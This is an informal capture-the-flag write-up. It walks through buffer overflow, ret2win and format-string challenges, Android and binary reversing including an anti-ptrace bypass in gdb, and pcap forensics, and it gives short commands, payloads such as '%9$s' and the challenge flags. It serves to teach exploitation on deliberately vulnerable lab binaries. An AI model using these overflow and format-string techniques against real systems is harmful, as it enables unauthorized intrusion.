KCA INTERVASITY CTF
This was a fine capture the flag game that i did , as always i was playing with Urchinsec team 😊 .
Mostly am always going for the Reverse Engineering, Binary Exploitation , Web and Android category ,when things go wrong there ^_^ i check the other categories 🙃 . In this case things in Web were not so juicy 🥲 In this writeup i will talk about all the challenges i solved!
PWN
1.Overflow
Like the description says , lets overflow the buffer and get the flag! So to get the flag , send a random string large enough to overflow the buffer .
➜ ~ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc 45.33.38.215 1337
Overflow to get the flag: flag{buffer_overfl0w_into_m3m0ry}
using the script above we get the flag :) I guess this was pretty easy 😝
2. ret2win
The name of the challenge is straight forward hint to what we are supposed to do! ♿
To be frank it took me a minute to spot the vulnerability 🥲
We can all see that we can overflow the buff variable. From there we want to overwrite the return value with the address of the win function. That way the function will print the flag to us 🫠
Good thing PIE is disabled wiiih 🥳. PIE is similar to aslr but for the actual binary's code / memory regions . If enabled, each time a binary is run ,it will generates a random number known as base . Then the address of everything, every function ... etc becomes the base plus offset! Luckily its disabled here meaning the address of win() is static.
➜ re2win pwn checksec chall
[*] '/home/trustie/writeup/pwn/re2win/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
➜ re2win
Getting the offset is easy..since the offset is 2 ie an overflow of 2 leads to a segmentation fault.
We can use objdump to get address of win function
➜ ~ objdump -d binary -M intel | grep win
We put all this together into a script and now we get the flag!
3. One shot
Here we are not given the source code 🫣 Running the binary we get an error so we create our own flag.txt.
➜ oneshot echo "F4k3{trustie_rity}" > flag.txt
Let's dig dipper and see !
➜ oneshot objdump -d chall -M intell | less
in the main function we se this :
124a: 48 8d 45 ee lea rax,[rbp-0x12]
124e: 48 89 c7 mov rdi,rax
1251: b8 00 00 00 00 mov eax,0x0
1256: e8 e5 fd ff ff call 1040 <printf@plt>
wiiih😂look at that 👆when we are calling the printf function the address of a local variable is loaded into the rax, the value is copied over to rdi ! hmmm 🫢so there is no format specifier .
There is a format string vulnerability here! Like i mean if a format specifier was there is would have been in rdi then the data in rsi :)
1219: 48 8d 45 ee lea rax,[rbp-0x12]
121d: ba 0a 00 00 00 mov edx,0xa
1222: 48 89 c6 mov rsi,rax
1225: bf 01 00 00 00 mov edi,0x1
122a: e8 31 fe ff ff call 1060 <read@plt>
{ We can also see here the local variable above👆 (rbp-0x12) ( it was used earlier in the code when read function is being called 🤔 ) is copied to rsi register, the edi (is just rdi register in 32 bit machine ,it ) holds file descriptor 1 while edx holds 0xa ( which is 10 in decimal ) indicating the length of a string that the read function should take in from the stdout! }
Perfect what else should we do now 🤔? Here 👇 is a segment of code at the start of main
1209: e8 7b ff ff ff call 1189 <read_flag>
120e: 48 8d 05 6b 2e 00 00 lea rax,[rip+0x2e6b] # 4080 <flag>
1215: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
We see the pointer returned by the read_flag function being stored in a local variable in the main function 😍So we need to leak this address.
Oh man that was one hell of an explanation! lets see if that theory is true.
Run the binary in gdb and define a hook-stop where we will be reading the value of that local variable and we compare it with our leak from the format string vulnerability!
➜ oneshot gdb chall -q
(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) start
(gdb) disass main
(gdb) b *main+25
Breakpoint 2 at 0x555555555215
(gdb) define hook-stop
Type commands for definition of "hook-stop".
>x $rip+0x2e6b //this the address marked in the assembly code
>end
(gdb) c
Continuing.
0x555555558080 <flag>: 0x336b3446Breakpoint 2, 0x0000555555555215 in main ()
(gdb) c
Continuing.
%6$p
(nil)[Inferior 1 (process 870509) exited normally]
You can see me send this "%6$p" which just an address on the stack just on the 6th place. p is for printing the address neatly.
And there you see the 9th value is the pointer address to our flag .lets use %s to retrieve the value/string!
(gdb) r
Starting program: /home/trustie/writeup/pwn/oneshot/chall
0x555555558080 <flag>: 0x336b3446Breakpoint 2, 0x0000555555555215 in main ()
(gdb) c
Continuing.
%9$s
F4k3{trustie_rity}
[Inferior 1 (process 873027) exited normally]
look at that 👆! let’s use my script now to get the actual flag
lets run it and see!
Unfortunately i was unable to solve the last pwn chall. Okay its cool also :) lets continue to reversing!
Reverse Engineering
1. keylet
Simple android reversing challenge , use any tool to extract files from the archive.
Personally i will just use unzip then change the dex file to jar .After that i will open it in jd-gui and see what we are needed to do here !
➜ keylet d2j-dex2jar classes3.dex classes3.jar
Seeing those values i quicky tried to change them to ascii ,seemed pretty obvious! But this was not the case since the first 4 values were octal 🥲
➜ keylet ./solve.py
flag{JAVAIS_FUN_Z}
2. Zoooor
This challenge could have been done in a couple of ways. I used dynamic analysis here!
As I really couldn’t understand its Decompilation I decided to read the assembly code.
Funny enough the author 🫡 of the challenge knew there are some nerds like me who will just monitor changes in the memory while the binary runs and figure out its science!So he went ahead to use ptrace function to disallow anyone to run the binary in a debugger.
What we can do here is always make sure that the lvar2 is greater or equal to zero. So we will make our first breakpoint on the ptrace function and since we all know that any return value from a function is stored in rax , we will change the rax to any value we consider to be on our favor.
➜ Zoor gdb chall -q
Reading symbols from chall...
(No debugging symbols found in chall)
(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) disass main
Dump of assembler code for function main:
0x0000000000001199 <+16>: call 0x1040 <getpid@plt>
0x00000000000011ae <+37>: mov esi,eax
0x00000000000011b0 <+39>: mov edi,0x0
0x00000000000011b5 <+44>: mov eax,0x0
0x00000000000011ba <+49>: call 0x1070 <ptrace@plt>
0x00000000000011bf <+54>: test rax,rax
{ look at that 👆 a test on rax ! lets break at this point. Another point to note is here 👇}
0x000000000000126f <+230>: lea rdx,[rax+0x1]
0x000000000000127b <+242>: mov BYTE PTR [rax],dl
0x000000000000127d <+244>: add DWORD PTR [rbp-0x1c],0x1
0x0000000000001287 <+254>: lea rax,[rip+0x2dd2] # 0x4060 <encoded_flag>
0x000000000000128e <+261>: mov rdi,rax
0x0000000000001291 <+264>: call 0x1050 <strlen@plt>
0x0000000000001296 <+269>: cmp rbx,rax
0x0000000000001299 <+272>: jb 0x1228 <main+159>
{ while the loop runs we may want to also see the value of that register dl ,this is clearly seen using a decompiler that the value of dl register is the output of the xor operation😶🌫️ }
(gdb) b *main+54
Breakpoint 1 at 0x11bf
(gdb) b *main+244
Breakpoint 2 at 0x127d
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x $dl
>end
gdb) r
Starting program: /home/hacker/kca/rev/Zoor/chall
Breakpoint 1, 0x00005555555551bf in main ()
(gdb) set $rax=0 /* to bypass ptrace */
(gdb) c
Continuing.
0x66: Error while running hook_stop: --> 0x66 is f in ascii
Cannot access memory at address 0x66
Breakpoint 2, 0x000055555555527d in main ()
.
.
.
Cannot access memory at address 0x7d
(gdb) c
Continuing.
[Inferior 1 (process 29721) exited normally]
using this script we get the whole flag
MobileApp
1. Fixme
i opened this in ghidra and the flag was just there 😂
use codebrowser to view fixmekt.class by just double clicking it.
we see the flag on the decompiler tab :)
2. Logd
download the apk and extract the files using unzip like me or apk d logga.apk . Then:
➜ keylet d2j-dex2jar classes3.dex classes3.jar
Have the jar file opened in jd-gui
In main class we get this juicy code 😍
String notFlag = "MZWGCZ33MFWHOYLZONPWG3";
Log.d("wait for it...\n", "Your secret : " + str + " will leak because you should " + MainActivity.this.notFlag + "DFMFXF6ZDFMJ2WOX3MN5TXG7IK");
Niice now we can concatenate the strings and decode them using my script :)
Decode the base32 string and get the flag.
Forensics
Chatty chatty -1
Open the file in wireshark . We see some conversations about the leet port 😍 most probably its 1337 port. So we follow that stream
Following that stream we get this :
.PNG...IHDR...3.........n.a.....sRGB.........gAMA......a.... pHYs..........o.d...XtEXtComment.Q29uZ3JhdHMsaGVyZSBpcyB5b3VyIGZsYWc6IEZsYWd7SV9LbjN3X1kwdV93MHVsRF9mMW5kX21lfQ==K.GL...SIDATx^...A..........jh..s._....M...Z.&8.$KF..9..... .... .... .... .... .... ....
Niice .. lets change show data as ascii to raw and save it.. We get this image!
2. chatty chatty -2
Funny thing is that i used the strings we found in the above challenge to solve this :). Below the first flag there is a comment to dig dipper so i decided to do so . I noticed a possible base64 string from the above output, lets try to decode it.
.PNG ....IHDR...3.........n.a.....sRGB.........gAMA......a.... pHYs..........o.d...XtEXtComment.Q29uZ3JhdHMsaGVyZSBpcyB5b3VyIGZsYWc6IEZsYWd7SV9LbjN3X1kwdV93MHVsRF9mMW5kX21lfQ==K.GL...SIDATx^...A.....
run it like this
➜ forensics php -f script.php
If you came up to here , you are a warrior meehn!☠️
Those were the challenges i looked at in that ctf 🤝